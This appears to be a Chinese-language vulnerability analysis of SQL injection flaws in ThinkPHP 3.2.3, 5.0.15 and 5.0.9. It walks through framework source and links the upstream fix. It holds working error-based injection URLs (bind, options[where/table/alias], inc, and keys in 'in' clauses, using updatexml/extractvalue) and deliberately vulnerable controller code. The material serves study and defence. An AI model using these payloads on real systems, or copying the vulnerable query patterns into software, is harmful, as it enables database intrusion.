Thinkphp3.2.3
bind绕过利用save注入
payload1
http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age[0]=bind&age[1]=0%20and%20(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))
修改代码1
2
3
4
5
6
7
8
9
10
11
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$age = I("GET.age");
$User = M("user"); // 实例化User对象
$data['username']= 'aa';
$User->field('username,age')->where(array('age'=>$age))->save($data);
}
}
在
我们跟进调试一下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134function I($name,$default='',$filter=null,$datas=null) {
static $_PUT = null;
if(strpos($name,'/')){ // 指定修饰符
list($name,$type) = explode('/',$name,2);
}elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串
$type = 's';
}
if(strpos($name,'.')) { // 指定参数来源
list($method,$name) = explode('.',$name,2);
}else{ // 默认为自动判断
$method = 'param';
}
switch(strtolower($method)) {
case 'get' :
$input =& $_GET;
break;
case 'post' :
$input =& $_POST;
break;
case 'put' :
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
case 'param' :
switch($_SERVER['REQUEST_METHOD']) {
case 'POST':
$input = $_POST;
break;
case 'PUT':
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
default:
$input = $_GET;
}
break;
case 'path' :
$input = array();
if(!empty($_SERVER['PATH_INFO'])){
$depr = C('URL_PATHINFO_DEPR');
$input = explode($depr,trim($_SERVER['PATH_INFO'],$depr));
}
break;
case 'request' :
$input =& $_REQUEST;
break;
case 'session' :
$input =& $_SESSION;
break;
case 'cookie' :
$input =& $_COOKIE;
break;
case 'server' :
$input =& $_SERVER;
break;
case 'globals' :
$input =& $GLOBALS;
break;
case 'data' :
$input =& $datas;
break;
default:
return null;
}
if(''==$name) { // 获取全部变量
$data = $input;
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
$filters = explode(',',$filters);
}
foreach($filters as $filter){
$data = array_map_recursive($filter,$data); // 参数过滤
}
}
}elseif(isset($input[$name])) { // 取值操作
$data = $input[$name];
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
if(0 === strpos($filters,'/')){
if(1 !== preg_match($filters,(string)$data)){
// 支持正则验证
return isset($default) ? $default : null;
}
}else{
$filters = explode(',',$filters);
}
}elseif(is_int($filters)){
$filters = array($filters);
}
if(is_array($filters)){
foreach($filters as $filter){
if(function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
}else{
$data = filter_var($data,is_int($filter) ? $filter : filter_id($filter));
if(false === $data) {
return isset($default) ? $default : null;
}
}
}
}
}
if(!empty($type)){
switch(strtolower($type)){
case 'a': // 数组
$data = (array)$data;
break;
case 'd': // 数字
$data = (int)$data;
break;
case 'f': // 浮点
$data = (float)$data;
break;
case 'b': // 布尔
$data = (boolean)$data;
break;
case 's': // 字符串
default:
$data = (string)$data;
}
}
}else{ // 变量默认值
$data = isset($default)?$default:null;
}
is_array($data) && array_walk_recursive($data,'think_filter');
return $data;
}
首先获取method
然后取age值并赋值给data
接着看是否传入了filter
在手册中也是介绍了
https://www.kancloud.cn/manual/thinkphp/1841
这里就是默认的htmlspecialchars
关于该函数的一些用法
https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
跟入函数,最终是要调到这个call_user_func
调用htmlspecialchars
处理后,对我们的payload影响不太大,那么继续跟
这里又对是数组data里的两个值exp
和$payload
进行了think_filter
函数的调用1
2
3
4
5
6
7
8function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
发现bind并不在过滤范围里
接着跟save函数,获取data值
接着主要看update
此时的options
parseSet后的结果为
继续跟parseWhereItem
主要是产生一个预编译占位符,接着看parseWhere
继续跟parseWhereItem
在第一个点解出bind,第二个点进行拼接
返回的结果是1
`age` = :0 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
执行完整个parseWhere的返回结果是1
UPDATE `think_user` SET `username`=:0 WHERE `age` = :0 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
最后将$data['username']= 'aa';
置于占位符处
find(select)注入
添加代码1
2
3
4
5
6
7
8
9
10
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($age){
$age = I('GET.age');
$User = M("user"); // 实例化User对象
$User->find($age);
}
}
payload-1
1 | http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- |
首先对比两个payload1
21. http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age=1'
2. http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age[where]=1'
首先是options可控
1 | ... |
控制options[where]
这里会跳过一个数据的强转
所以直接返回了options
接着回到find 跟入select
继续跟进
跟入parseSql
跟到parseWhere
由于where是一个字符串
直接跳过下面else,返回
接着
造成了sql注入
以下两个分析类似
payload-2
1 | http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age[table]=think_user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- |
payload-3
1 | http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- |
Thinkphp5.0.15
添加如下代码1
2
3
4
5
6
7
8
9
10
11
namespace app\index\controller;
class Index
{
public function index()
{
$username = input('get.username/a');
$User = DB('user')->where(['id'=> 1]);
$User->insert(array('username'=>$username));
}
}
/a的意思是
payload1
http://127.0.0.1/thinkphp_5.0.15_full/public/?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
跟入insert
接着跟parseData
利用forecah取值
接着进行判断 val[0]如果等于inc就进入
(在5.0.24中进行了修复,具体可见之前我的文章Thinkphp3个版本数据库操作以及底层代码分析)
因为inc也没有被input函数过滤
dec同理
这里进行了拼接
经过一系列parse函数,返回了sql语句
修复
https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b
对key和val[1]做了检测
Thinkphp5.0.9鸡肋注入
鸡肋是因为不能进行子查询
添加代码1
2
3
4
5
6
7
8
9
10
11
12
namespace app\index\controller;
use app\index\model\User;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('age', 'in', $ids)->select();
}
}
/index/model/User.php1
2
3
4
5
6
7
namespace app\index\model;
use think\Model;
class User extends Model
{
protected $table = 'think_user';
}
payload1
http://127.0.0.1/thinkphp_5.0.9_full/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
跟入select
看到parseWhere
跟进buildWhere
继续跟进parseWhereItem
生成占位符where_age
继续生成,没有对key进行任何过滤,直接拼接了
:where_age_in_0,updatexml(0,concat(0xa,user()),0)
然后返回了要执行的预编译语句
select过后返回的sql语句
继续跟进query
在这里报错
至于为什么不能执行子查询,请移步p神
ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析